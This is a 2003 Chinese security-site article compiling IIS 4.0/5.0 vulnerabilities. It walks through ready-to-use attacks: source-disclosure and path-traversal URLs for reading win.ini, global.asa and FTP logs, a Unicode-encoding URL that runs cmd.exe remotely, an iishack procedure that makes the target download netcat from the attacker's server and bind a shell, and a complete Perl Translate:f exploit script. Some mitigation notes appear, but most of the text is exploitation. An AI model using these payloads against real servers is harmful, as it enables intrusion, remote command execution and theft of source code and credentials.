登录社区:用户名: 密码: 忘记密码 网页功能:加入收藏 设为首页 网站搜索  

文档

下载

图书

论坛

安全

源码

硬件

游戏
首页 信息 空间 VB VC Delphi Java Flash 补丁 控件 安全 黑客 电子书 笔记本 手机 MP3 杀毒 QQ群 产品库 分类信息 编程网站
  立华软件园 - 安全技术中心 - 技术文档 - 漏洞分析 技术文章 | 相关下载 | 电子图书 | 攻防录像 | 安全网站 | 在线论坛 | QQ群组 | 搜索   
 安全技术技术文档
  · 安全配制
  · 工具介绍
  · 黑客教学
  · 防火墙
  · 漏洞分析
  · 破解专题
  · 黑客编程
  · 入侵检测
 安全技术工具下载
  · 扫描工具
  · 攻击程序
  · 后门木马
  · 拒绝服务
  · 口令破解
  · 代理程序
  · 防火墙
  · 加密解密
  · 入侵检测
  · 攻防演示
 安全技术论坛
  · 安全配制
  · 工具介绍
  · 防火墙
  · 黑客入侵
  · 漏洞检测
  · 破解方法
 其他安全技术资源
  · 攻防演示动画
  · 电子图书
  · QQ群组讨论区
  · 其他网站资源
最新招聘信息

IIS多数漏洞的整理
发表日期:2003-08-18作者:[] 出处:  

  去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下。

1.介绍

  这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。

  而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:

telnet <目标机> 80

GET HEAD / HTTP/1.0

就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。

2.常见漏洞

(1)、Null.htw

  IIS如果运行了Index Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码, global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:

CiWebhitsfile

CiRestriction

CiHiliteType

  你可通过下列方法传递变量来获得如default.asp的源代码:

http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp%20&%20

CiRestriction=none%20&%20&CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

(2)、MDAC- 执行本地命令漏洞

  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:

c:\>nc -nw -w 2 <目标机> 80

GET /msadc/msadcs.dll HTTP

  如果你得到下面的信息:

application/x_varg

  就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。

(3)、ASP Dot Bug

  这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.

(4)、idc & .ida Bugs

  这个漏洞实际上类似ASP dot 漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。

http://www.目标机.com/anything.idc 或者 anything.idq

(5)、+.htr Bug

  这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

http://www.目标机.com/global.asa+.htr

(6)、NT Site Server Adsamples 漏洞

  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

http://www.目标机.com/adsamples/config/site.csc

(7)、IIS HACK

  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

c:\>iishack.exe <目标机> 80 <你的WEB服务器>/ncx.exe

  然后你就使用netcat来连接你要检测的服务器:

c:\>nc <目标机> 80

  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp & Showcode.asp 。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:

1.Codebrws.asp 和 Showcode.asp默认情况下不安装。

2.漏洞仅允许查看文件内容。

3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。

4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).

5,攻击者需要知道请求的文件名。

  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/

iisamples/exair/howitworks/codebrws.asp

你就可以查看到codebrws.asp的源代码了。

你也可以使用showcode.asp来查看文件:

http://www.目标机.com/msadc/samples/selector/showcode.asp?

source=/msadc/../../../../../winnt/win.ini

  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:

http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?

source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

(8)、webhits.dll & .htw

  这个hit-highligting功能是由Index Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

http://www.目标机.com/nosuchfile.htw

  如果你从服务器端获得如下信息:

format of the QUERY_STRING is invalid

这就表示你存在这个漏洞。

  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/isssamples/exair/search/qfullhit.htw

/isssamples/exair/search/qsumrhit.htw

/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  攻击者可以使用如下的方法来访问系统中文件的内容:

http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?

ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

  就会在有此漏洞系统中win.ini文件的内容。

(9)、ASP Alternate Data Streams(::$DATA)

  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main data stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data stream(数据流)和任何文件所包含的数据代码。

  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN NT中的IIS1.0, 2.0, 3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,

要查看一些.asp文件的内容,你可以请求如下的URL:

  http://www.目标机.com/default.asp::$DATA 你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:

http://focus.silversand.net/newsite/skill/ntfs.txt

(10)、ISM.DLL 缓冲截断漏洞

  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件 名后面追加近230个+或者?%20?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL 截断信息之前,缓冲区发送一个断开的 .Htr 并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB 服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr 请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。

http://www.目标机.com/global.asa%20%20(...<=230)global.asa.htr

(11)、存在的一些暴力破解威胁.htr程序

  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

c:\winnt\system32\inetsrv\iisadmpwd

Achg.htr

Aexp.htr

Aexp2.htr

Aexp2b.htr

Aexp3.htr

Aexp4.htr

Aexp4b.htr

Anot.htr

Anot3.htr

这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。

(12)、Translate:f Bug

  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在OFFICE 2000和FRONTPAGE 2000Server Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

#############################

use IO::Socket; #

my ($port, $sock,$server); #

$size=0; #

#############################

#

$server="$ARGV[0]";

$s="$server";

$port="80";

$cm="$ARGV[1]";

&connect;

sub connect {

if ($#ARGV < 1) {

howto();

exit;

}

$ver="GET /$cm%5C HTTP/1.0

Host: $server

Accept: */*

Translate: f

\n\n";

my($iaddr,$paddr,$proto);

$iaddr = inet_aton($server) || die "Error: $!";

$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";

$proto = getprotobyname('tcp') || die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:

$!";

connect(SOCK, $paddr) || die "Error: $!";

send(SOCK, $ver, 0) || die "Can't to send packet: $!";

open(OUT, ">$server.txt");

print "Dumping $cm to $server.txt \n";

while(<SOCK>) {

print OUT <SOCK>;

}

sub howto {

print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n";

}

close OUT;

$n=0;

$type=2;

close(SOCK);

exit(1);

}

  你可以使用下面的方法来获得源代码:

Trasn.pl www.目标机.com default.asp

(13)、IIS存在的Unicode解析错误漏洞

  NSFOCUS安全小组发现微软IIS 4.0和IIS 5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

  你可以使用下面的方法利用这个漏洞:

(1) 如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:

http://www.目标机.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir

(2) 利用这个漏洞查看系统文件内容也是可能的:

http://www.目标机.com/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini

这个漏洞是针对中文操作平台,你也可以使用"%c0%af"或者"%c1%9c"来测试英文版本,原因就是编码不同。

(施 南 编译)

我来说两句】 【发送给朋友】 【加入收藏】 【返加顶部】 【打印本页】 【关闭窗口
中搜索 IIS多数漏洞的整理

 ■ [欢迎对本文发表评论]
用  户:  匿名发出:
您要为您所发的言论的后果负责,故请各位遵纪守法并注意语言文明。

最新招聘信息

关于我们 / 合作推广 / 给我留言 / 版权举报 / 意见建议 / 广告投放 / 友情链接  
Copyright ©2001-2006 Lihuasoft.net webmaster(at)lihuasoft.net
网站编程QQ群   京ICP备05001064号 页面生成时间:0.00203